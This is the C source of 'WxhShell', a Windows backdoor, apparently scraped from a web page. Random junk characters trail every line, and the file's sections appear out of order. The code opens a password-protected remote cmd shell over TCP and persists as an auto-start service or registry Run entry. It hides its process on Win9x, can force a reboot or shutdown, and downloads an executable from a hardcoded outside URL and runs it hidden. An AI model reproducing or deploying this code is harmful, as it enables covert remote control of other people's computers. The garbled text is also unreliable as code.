    if(Boot(SHUTDOWN)) iAn]hVW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %h^ f?.(:  
    else { NN"!kuM  
    closesocket(wsh); k@=w? m  
    ExitThread(0); \ 0J &^C  
    } 8Rric[v  
    break; ?Mj@;O9>'  
    } 9J(jbJ7p  
  // 获取shell Pq<]`9/w^w  
  case 's': { )ePQN~#K}  
    CmdShell(wsh); Wu|ANc  
    closesocket(wsh); 6b7SA ,  
    ExitThread(0); KwxO%/-}S  
    break; d#Xt2   
  } (d ?sFwOt\  
  // 退出 |<Rf^"T  
  case 'x': { ]dU/;8/%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zv>7;En3  
    CloseIt(wsh); T8US` MZ  
    break; `F,*NESv  
    } Jr.4Y>;}e3  
  // 离开 (;T g1$  
  case 'q': { o"M h wh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o4Hp|iK&0  
    closesocket(wsh); Uf`~0=w  
    WSACleanup(); Z%9_vpWc  
    exit(1); rI;84=v2&9  
    break; fKkH [  
        } d'UCPg<Y  
  } Cj3C%W  
  } >sl#2,br  
-+,3aK<[  
  // 提示信息 N^@aO&+A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ QE?.Fx  
} :@c\a99Kx  
  } *L+)R*|:&  
 WgayH  
  return; xwe^_7  
} b.lK0 Xo  
)2dTgvy  
// shell模块句柄 #57D10j  
int CmdShell(SOCKET sock) ;'7gg]  
{ WJs2d73Qp  
STARTUPINFO si; 72akOx   
ZeroMemory(&si,sizeof(si)); ])D39  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }N`m7PSf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [~U CYYl  
PROCESS_INFORMATION ProcessInfo; 3 6-Sw  
char cmdline[]="cmd"; k:sFI @g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aPH6R<G  
  return 0; o3kVcX^  
} e>~7RN  
Puodsd  
// 自身启动模式 xp;CYr"1}  
int StartFromService(void) uYy&<_r  
{ nAY'1!Oi  
typedef struct O$, bNu/g  
{ rJws#^ ]  
  DWORD ExitStatus; z]33_[G1U  
  DWORD PebBaseAddress; 'rSP@  
  DWORD AffinityMask; JV_V2L1Ut  
  DWORD BasePriority; nhb: y  
  ULONG UniqueProcessId;  _YPu  
  ULONG InheritedFromUniqueProcessId; KoF_G[m  
}   PROCESS_BASIC_INFORMATION; HCOE'24I  
Bq*aP*jv  
PROCNTQSIP NtQueryInformationProcess; ,o68xfdZVW  
p&Ev"xhs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jTE~^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vd]75  
4pG!m&4]ze  
  HANDLE             hProcess; n"dYN3dE  
  PROCESS_BASIC_INFORMATION pbi; H=1Jq  
hJkF-yW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YIZ+BVa  
  if(NULL == hInst ) return 0; h&O8e;S#  
*r|)@K|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C)v*L#{%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HHXm 4}!;<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MzX4/*ba  
lN,)T%[0-  
  if (!NtQueryInformationProcess) return 0; jp|1S^b  
+u|p<z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SZ3UR  
  if(!hProcess) return 0; vzPuk|q3  
z(JDLd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p0Ra`*f  
p"k[ac{  
  CloseHandle(hProcess); tShyG! b  
dp~] Wx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m%[`NP (  
if(hProcess==NULL) return 0; X J{b_h#N  
'%\FT-{  
HMODULE hMod; p"ElO,\  
char procName[255]; ZCuLgCP?Z  
unsigned long cbNeeded; Z&[_8Y5j  
;f l3'.S[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2uy<wJE >  
ocDAg<wo  
  CloseHandle(hProcess); ]46#u=y~3  
| l|7[  
if(strstr(procName,"services")) return 1; // 以服务启动 #[ZNiaWT  
NpN-''B\  
  return 0; // 注册表启动 >2[nTfS  
} Vb$4'K '  
@b5zHXF83E  
// 主模块 .M zAkZ=  
int StartWxhshell(LPSTR lpCmdLine) W v4o:_}  
{ ]UFbG40Zo  
  SOCKET wsl; E whCX'Vaj  
BOOL val=TRUE; +%: /!T@@  
  int port=0; 6-!U\R2Z>  
  struct sockaddr_in door; Z(0sMOaX  
Pt^SlX^MM  
  if(wscfg.ws_autoins) Install(); zEN3N n.8  
w(-h!d51+  
port=atoi(lpCmdLine); 7v{s?h->$  
\;F_QV  
if(port<=0) port=wscfg.ws_port; *Z:'jV<  
o b,%); m  
  WSADATA data; D/x!`&.sN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "CcdwWM  
IyJHKDFk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nlsif  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~]LkQQ'  
  door.sin_family = AF_INET; 8\])p sb9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &8R !`uh1  
  door.sin_port = htons(port); >jH%n(TcC  
h-+GS%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~f5g\n;  
closesocket(wsl); E Zh.*u@^r  
return 1; #BLmT-cl  
} 75?z" i  
G}8Zkz@+  
  if(listen(wsl,2) == INVALID_SOCKET) { ~P;KO40K  
closesocket(wsl); /ij)[WK@  
return 1; ;.EW7`)Z  
} 6X`i*T$.  
  Wxhshell(wsl); 4k4 d%  
  WSACleanup(); G,fh/E+  
&K@ RTgb  
return 0; j,@@[{tu  
LUN"p#1  
} -Mx\W|YK  
waRK$/b (  
// 以NT服务方式启动 ^Pp2T   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S%{^@L+V  
{ |ryV7VJ8  
DWORD   status = 0; &upM,Jsr*  
  DWORD   specificError = 0xfffffff; c4i%9E+Af  
s.qo/o\b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~8l(,N0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .`@)c/<0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yuA+YZ  
  serviceStatus.dwWin32ExitCode     = 0; TcEvUZJ"  
  serviceStatus.dwServiceSpecificExitCode = 0; P|' eM%  
  serviceStatus.dwCheckPoint       = 0; ).l`N&_peM  
  serviceStatus.dwWaitHint       = 0; 14Y<-OO: k  
@B#\3WNt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s. ]<r5v7  
  if (hServiceStatusHandle==0) return; n4%ZR~9WH  
(Xv' Te?  
status = GetLastError(); 4SDUTRo a  
  if (status!=NO_ERROR) SSo7 U  
{ 9?J 3G,&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _`-trE.  
    serviceStatus.dwCheckPoint       = 0; ,C97|6rC  
    serviceStatus.dwWaitHint       = 0; Md[M}d8  
    serviceStatus.dwWin32ExitCode     = status; jqv"8S5  
    serviceStatus.dwServiceSpecificExitCode = specificError; MFzJ 8^.1R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b;k3B7<  
    return; R.'-jvO  
  } :plN<8  
4Fs5@@>X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RM|2PG1m  
  serviceStatus.dwCheckPoint       = 0; 2uZ4$_  
  serviceStatus.dwWaitHint       = 0; R q |,@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Uj-x -  
} ta+MH,  
L5j%4BlK/  
// 处理NT服务事件,比如:启动、停止 p()#+Xy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AS? ESDC  
{ 'JK"3m}nT  
switch(fdwControl) kfj)`x  
{ X"Ca  
case SERVICE_CONTROL_STOP: dgp1B\  
  serviceStatus.dwWin32ExitCode = 0; ($or@lfs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vl\8*!OL%  
  serviceStatus.dwCheckPoint   = 0; M%(^GdI#Vf  
  serviceStatus.dwWaitHint     = 0; #ExNiFZ  
  { ms%RNxU4:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hteAuz4H  
  } 4}xw&x  
  return; 2&o jQhe  
case SERVICE_CONTROL_PAUSE: 0Fc^c[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0ub0 [A  
  break; >K;DBy*  
case SERVICE_CONTROL_CONTINUE: =IH~:D\&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6 @A'N(I=O  
  break; Mv?$zV"`#  
case SERVICE_CONTROL_INTERROGATE: ?%A9}"q]  
  break; ;Y9-0W  
}; ?[VL 2dP0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MP_LdJM1E  
} [L ?^+p>  
{16]8-pe  
// 标准应用程序主函数 R(AS$<p{!>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &,8F!)[9  
{ J5Ovj,[EZ  
Y!qn[,q8  
// 获取操作系统版本 r7^oqEp@B  
OsIsNt=GetOsVer(); $H8B%rT]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1tIJ'#6  
4^(aG7  
  // 从命令行安装 YG_|L[/#  
  if(strpbrk(lpCmdLine,"iI")) Install(); PK).)5sW  
-qqI @+u+  
  // 下载执行文件 G0~6A@>  
if(wscfg.ws_downexe) { 4..M *U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [JVEKc ym  
  WinExec(wscfg.ws_filenam,SW_HIDE); !*e1F9k  
} qd<-{  
Lvd es.0|  
if(!OsIsNt) { cNl NJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 L+.&e4f'oj  
HideProc(); W7#dc89}  
StartWxhshell(lpCmdLine); 8vqx}2  
} vdIert?p  
else ? FlQ\q  
  if(StartFromService()) %urd;h D  
  // 以服务方式启动 x:$ xtu  
  StartServiceCtrlDispatcher(DispatchTable); l=PZlH y1G  
else 0PD=/fh[  
  // 普通方式启动 _)kTlX:,  
  StartWxhshell(lpCmdLine); U!i1~)s  
]_(J8v  
return 0; %zz,qs)Eu  
} x/dyb.  
eXQLE]L]  
)_olJCdaP^  
BIh^b?:zU  
=========================================== Mz6PH)e;  
$W]}m"l  
")YD~ZA%)  
= 6'Fm$R  
6,cJ3~!48  
|/;;uK,y  
" p1N3AhXY  
bRD-[)  
#include <stdio.h> GIZw/L7Yb  
#include <string.h> Ge7Uety  
#include <windows.h> 9? y&/D5O  
#include <winsock2.h> H <9_BA?  
#include <winsvc.h> H~ E<ek'~  
#include <urlmon.h> %<0'xJ%%Q  
[\3W_jR  
#pragma comment (lib, "Ws2_32.lib") q ;"/i*+3  
#pragma comment (lib, "urlmon.lib") 7epil  
t0_4jV t  
#define MAX_USER   100 // 最大客户端连接数 $p|Im,  
#define BUF_SOCK   200 // sock buffer Z 4QL&?U  
#define KEY_BUFF   255 // 输入 buffer R-YNg  
R} X"di  
#define REBOOT     0   // 重启 k8c(|/7d  
#define SHUTDOWN   1   // 关机 jwpahy;\WL  
|Iknk,  
#define DEF_PORT   5000 // 监听端口 kvG.?^ v  
{l"(EeW6)  
#define REG_LEN     16   // 注册表键长度 *,|x p  
#define SVC_LEN     80   // NT服务名长度 zY9CoadZ  
3i1TBhs6  
// 从dll定义API Ae\:{[c_D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6WX?Xc]$3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x[=,$;o+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3Cgv($xl&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "5204I  
a<J< Oc!  
// wxhshell配置信息 ]nNn"_qh  
struct WSCFG { 2HO2  
  int ws_port;         // 监听端口 ,rV;T";r  
  char ws_passstr[REG_LEN]; // 口令 }9kn;rb$g  
  int ws_autoins;       // 安装标记, 1=yes 0=no K@%gvLa\  
  char ws_regname[REG_LEN]; // 注册表键名 1 -$+@Xl  
  char ws_svcname[REG_LEN]; // 服务名 2wu\.{6Zp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dVg'v7G&V(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ma4eu8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vi.INe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CG;+Z-"X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g:Q:cSg<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {n&GZG"f  
0V?7'Em  
}; U1`pY:P  
MOPHu O{^  
// default Wxhshell configuration  ~)F_FS  
struct WSCFG wscfg={DEF_PORT, M@JW/~p'  
    "xuhuanlingzhe", nDcH;_<;9a  
    1, h$mGaw vZ~  
    "Wxhshell", [dFe-2u ,$  
    "Wxhshell", \l%##7DRp]  
            "WxhShell Service", "~S2XcR[ E  
    "Wrsky Windows CmdShell Service", 0{ _6le]  
    "Please Input Your Password: ", 'P*OzZ4>$  
  1, A'$>~Ev  
  "http://www.wrsky.com/wxhshell.exe", j\"d/{7Q  
  "Wxhshell.exe" Lr 9E02  
    }; jGoQXiX  
\x:} |   
// 消息定义模块 H_,4N_hL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m&yHtnt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F"cZ$TL]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3xN_z?Rg  
char *msg_ws_ext="\n\rExit."; !1%Sf.`!_  
char *msg_ws_end="\n\rQuit."; I5)$M{#a  
char *msg_ws_boot="\n\rReboot..."; B" _Xst  
char *msg_ws_poff="\n\rShutdown..."; '14 86q@[$  
char *msg_ws_down="\n\rSave to "; v,Zoy|Lu  
[kTckZv  
char *msg_ws_err="\n\rErr!"; nch#DE8 2  
char *msg_ws_ok="\n\rOK!"; Khl0~  
1/,~0N9  
char ExeFile[MAX_PATH]; v}id/brl  
int nUser = 0; 8H1&=)M=  
HANDLE handles[MAX_USER]; Nf)SR#;  
int OsIsNt; =dwy 4  
"&{.g1i9  
SERVICE_STATUS       serviceStatus; 5(GVwv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :;c`qO4  
gW^4@q  
// 函数声明 W7;RQ  
int Install(void); Al]*iw{  
int Uninstall(void); O\gVB!x  
int DownloadFile(char *sURL, SOCKET wsh); 6Eus_aP  
int Boot(int flag); jcjl q-x  
void HideProc(void); 7{l~\] 6d  
int GetOsVer(void); 8)2M%R\THn  
int Wxhshell(SOCKET wsl); OO'zIC<z  
void TalkWithClient(void *cs); @iMF&\KC  
int CmdShell(SOCKET sock); # 2FrP5rC  
int StartFromService(void); xB]^^ NYE=  
int StartWxhshell(LPSTR lpCmdLine); a_]l?t  
CMyz!jZ3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K"hnGYt?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +=d=  
11 k}Ly  
// 数据结构和表定义 HGDiwA  
SERVICE_TABLE_ENTRY DispatchTable[] = G*,7pc  
{ XL9-N?(@  
{wscfg.ws_svcname, NTServiceMain}, tv Zq):c  
{NULL, NULL} lon9oraF'  
}; U(Bmffn4Z  
2Q7X"ek~[  
// 自我安装 fz?woVn  
int Install(void) :`lP+y?a1  
{ }: u-l3e  
  char svExeFile[MAX_PATH]; ?G<?: /CU  
  HKEY key; |qwx3 hQ?  
  strcpy(svExeFile,ExeFile); f@$kK?c?  
d'H gek{T  
// 如果是win9x系统,修改注册表设为自启动 u#`51Hr$  
if(!OsIsNt) { <>Ha<4A =E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =(Y0wZP|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jW4>WDN:  
  RegCloseKey(key); ^N7 C/" p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *=!r|UdB.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]g }5p4*&  
  RegCloseKey(key); )=bW\=[8  
  return 0;  (^B=>  
    } ?>I  
  } lgD %  
} t @a&&  
else { | +uc;[`  
th<>%e}5c  
// 如果是NT以上系统,安装为系统服务 HV7f%U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T\ukJ25!  
if (schSCManager!=0) +JM@kdE5b  
{ "!fwIEG  
  SC_HANDLE schService = CreateService Ed{sC[j=  
  ( LU8:]zOY  
  schSCManager, ^QG<_Dm]  
  wscfg.ws_svcname, aR'~=t&;z1  
  wscfg.ws_svcdisp, /d/]#T[Z9  
  SERVICE_ALL_ACCESS, i2;,\FI@t%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ImD&~^-_<  
  SERVICE_AUTO_START, 'NCx<0*  
  SERVICE_ERROR_NORMAL, VR%*8=  
  svExeFile, ,rF!o_7  
  NULL, 'H4?V  
  NULL, B2KBJ4rI[1  
  NULL, 1C]BaPbL  
  NULL,  p: eaZ  
  NULL "q!*RO'a  
  ); `B:hXeI  
  if (schService!=0) rhX?\_7o  
  { CJw zjH  
  CloseServiceHandle(schService); vA[7i*D{w  
  CloseServiceHandle(schSCManager); ,7DyTeMpN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 94]i|2qj*  
  strcat(svExeFile,wscfg.ws_svcname); y+V>,W)r7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cM4{ e^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #yU"n-eLR  
  RegCloseKey(key); (ip3{d{CT]  
  return 0; pp{GaCi  
    } e**'[3Y  
  } *65~qAd  
  CloseServiceHandle(schSCManager); ( z F_<  
} \hb$v  
} `2^(Ss# )  
83p8:C.Ze  
return 1; F1L[C4'  
} N3a ]!4Y\  
T|j=,2_  
// 自我卸载 cS2]?zI  
int Uninstall(void) Ul'H(eH.v  
{ I)0_0JXs  
  HKEY key; L/%{,7l<^?  
ne3t|JZ  
if(!OsIsNt) { l Ft&cy2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tp }Bz&V  
  RegDeleteValue(key,wscfg.ws_regname); wlslG^^(!  
  RegCloseKey(key); AAKc8 {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,^ dpn  
  RegDeleteValue(key,wscfg.ws_regname); \" m&WFm  
  RegCloseKey(key); Nez '1  
  return 0; x{GFCy7  
  } {yEL$8MC  
} 1,U)rx$H  
} 0]$-}AYM  
else { ,S@B[+VZ  
V?`|Ha}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zy8+~\a+Y&  
if (schSCManager!=0) SJ:Teab  
{ fA[T5<66  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Z_abKt  
  if (schService!=0) Ir*{IVvej  
  { (v:8p!QN  
  if(DeleteService(schService)!=0) { C7}iwklcsa  
  CloseServiceHandle(schService); klY, @  
  CloseServiceHandle(schSCManager); yJlRW!@&:  
  return 0; R yM2 9uD  
  } IjQgmS~G  
  CloseServiceHandle(schService); 5B8fz;l= B  
  } jqTK7b  
  CloseServiceHandle(schSCManager); ">S1,rhgS  
} w\V<6_[vv.  
} aSJD'u4w.a  
kho0@o+'^  
return 1; "gDk?w  
} qg<Y^ y  
jHA(mU)b  
// 从指定url下载文件 F[F  NtZ  
int DownloadFile(char *sURL, SOCKET wsh) 0;*[}M]Z  
{ /q7$"wP  
  HRESULT hr; PlgpH'z4$  
char seps[]= "/"; f8UO`*O  
char *token; lL5*l,)To  
char *file; huR ^l  
char myURL[MAX_PATH]; N+H[Y4c?F&  
char myFILE[MAX_PATH]; *A")A.R  
w vI v+Q9  
strcpy(myURL,sURL); ed3wj3@  
  token=strtok(myURL,seps); %\)AT"  
  while(token!=NULL) Tn(uH17  
  { /+. m.TF  
    file=token; 0 N0< 4b  
  token=strtok(NULL,seps); /oGaA@#+  
  } *KU:D Y{  
}*aj&  
GetCurrentDirectory(MAX_PATH,myFILE); v;}MHl  
strcat(myFILE, "\\"); CP$,fj  
strcat(myFILE, file); ~3-+~y=o~  
  send(wsh,myFILE,strlen(myFILE),0); 5Fq+^  
send(wsh,"...",3,0); jMX|1b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rg 0u#-  
  if(hr==S_OK) {!wd5C@  
return 0; U7,.L  
else IF<T{/MA  
return 1; |%3>i"Y@AK  
4$ah~E>,t  
} YdB/s1|G  
MI.OOoP3a  
// 系统电源模块 |S]fs9  
int Boot(int flag) 73{<;z}i  
{ b.}J'?yLm  
  HANDLE hToken; Eq=JmO'gHs  
  TOKEN_PRIVILEGES tkp; -$@'@U  
hQNUA|Q=%  
  if(OsIsNt) { q6%m .X7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t+^__~IX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @ Yo*h"s  
    tkp.PrivilegeCount = 1; 9\kEyb$F=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~(`MP<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F< dhG>E9  
if(flag==REBOOT) { O@:R\MwFOZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )]E?~$,  
  return 0; _6]CT0  
} - &)  
else { ,zJ:a>v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XB:E<I'q!3  
  return 0; 4s"x}c">F  
} 89P7iSV#*  
  } 0 U#m7j  
  else { 9o]!D,u8=5  
if(flag==REBOOT) { R4zOiBi'B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %;Z_`W  
  return 0; )]\-Uy$x  
} mT;   
else { zU4*FXt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +HD2]~{EkL  
  return 0; U> <$p{ )  
} gzlRK^5  
} Wrt5eYy  
$H/: -v  
return 1; Tl?jq]  
} ,.;{J|4P  
5B3sRF}  
// win9x进程隐藏模块 :SZi4:4-J8  
void HideProc(void) t+,2 p|B  
{ 0a,B&o1  
UA4MtTp`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hxw6^EA  
  if ( hKernel != NULL ) %xp 69  
  { ?]+! gz1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;:Tb_4Hr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8\PI1U  
    FreeLibrary(hKernel); b/E3Kse?  
  } *h pS/g/3\  
muhu` k`C  
return; -f?,%6(1  
} 1].m4vC  
/NuO>kQa  
// 获取操作系统版本 k? ,/om1  
int GetOsVer(void) 6.|[;>Km  
{ .5A .[ZY)  
  OSVERSIONINFO winfo; C0ORB p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A+fXt`YNM  
  GetVersionEx(&winfo); =t|,6Vp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7dR]$ ~+*e  
  return 1; I y5)SZ'  
  else \"Qa)1 |  
  return 0; uOh  
} ~{{7y]3M-  
`84,R!  
// 客户端句柄模块 V%`\x\Xat  
int Wxhshell(SOCKET wsl) h66mzV:`  
{ _d>{Hz2  
  SOCKET wsh; n9Vr*RKM)  
  struct sockaddr_in client; i7&ay\+@  
  DWORD myID; DJ1!Xuu  
/7ykmW  
  while(nUser<MAX_USER) $9W,1wg  
{ iRV=I,  
  int nSize=sizeof(client);  Qr-,J_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); crgVedx~}  
  if(wsh==INVALID_SOCKET) return 1; UH((d*HX4  
^pqJz^PO.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q4g69IE  
if(handles[nUser]==0) Y+0GJuBf  
  closesocket(wsh); hANe$10=H  
else FU)=+m  
  nUser++; :8]y*j  
  } KvO5-g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zkd^5A; `  
=yPV9#(I/  
  return 0; :edy(vC<  
} \9}DAM_  
Sh:_YD^(  
// 关闭 socket L}K8cB  
void CloseIt(SOCKET wsh) sdN1BV2  
{ &&zsUAkS  
closesocket(wsh); ,=: -&~?  
nUser--; HY(XI u  
ExitThread(0); ROO@EQ#`Z  
} E+$D$a  
vLGnLpt  
// 客户端请求句柄 u $D%Iz  
void TalkWithClient(void *cs) [7,q@>:CS  
{ ^3QJv{)Q  
U[Lr+nKo\  
  SOCKET wsh=(SOCKET)cs; _KZ TY`/*  
  char pwd[SVC_LEN]; lx> ."rW  
  char cmd[KEY_BUFF]; lnK#q .]  
char chr[1]; .kB!',v\  
int i,j; /?V-  
$KS!vS7  
  while (nUser < MAX_USER) { qTG i9OP6/  
7}pg7EF3z  
if(wscfg.ws_passstr) { FJn.V1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nW oh(a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O-3aU!L  
  //ZeroMemory(pwd,KEY_BUFF); }:!X@C~  
      i=0; drbim8 !q~  
  while(i<SVC_LEN) { eAjsMED  
| 3`8$-  
  // 设置超时 T`GiM%R;g  
  fd_set FdRead; .X:,]of  
  struct timeval TimeOut; 9|m:2["|?  
  FD_ZERO(&FdRead); jVqpokWH  
  FD_SET(wsh,&FdRead); COHook(:  
  TimeOut.tv_sec=8; K{ntl-D&y  
  TimeOut.tv_usec=0; /. >%IcK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); msQ?V&+<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LG??Q+`l  
1jpft3*x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RNt9Qdr4y  
  pwd=chr[0]; '($$-P\/  
  if(chr[0]==0xd || chr[0]==0xa) { %l!- rXp  
  pwd=0; ZVrZkd `  
  break; fm!\**Q1  
  } |OuIQhoE  
  i++; _ER. AKY  
    } `^|l+TJG  
JoD@e[(  
  // 如果是非法用户,关闭 socket [$#G|>x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u-QHV1H`(  
} RrdLh z2N  
OP\L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $oPc,zS-gL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `O`MW} c  
)jh~jU?c@  
while(1) { e\!Aoky  
8is QL  
  ZeroMemory(cmd,KEY_BUFF); bCiyz+VyJn  
*;U<b  
      // 自动支持客户端 telnet标准   yD@1H(yM  
  j=0; 69`*u<{PC  
  while(j<KEY_BUFF) { )"7z'ar  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z*=$n_ G  
  cmd[j]=chr[0]; l(\F2_,2W  
  if(chr[0]==0xa || chr[0]==0xd) { ?-tNRIPW@p  
  cmd[j]=0; D  ,[yx='  
  break; +=sw&DH  
  } [X*u`J  
  j++; 7m}fVLk  
    } }'K-1:  
/Pg)@*~  
  // 下载文件 Y~?Z'uR  
  if(strstr(cmd,"http://")) { &y7xL-xP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +k[w)7Q  
  if(DownloadFile(cmd,wsh)) ls~9qkAyLx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)3 B  
  else !OMCsUZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~wO-Hgd  
  } CyXaHO  
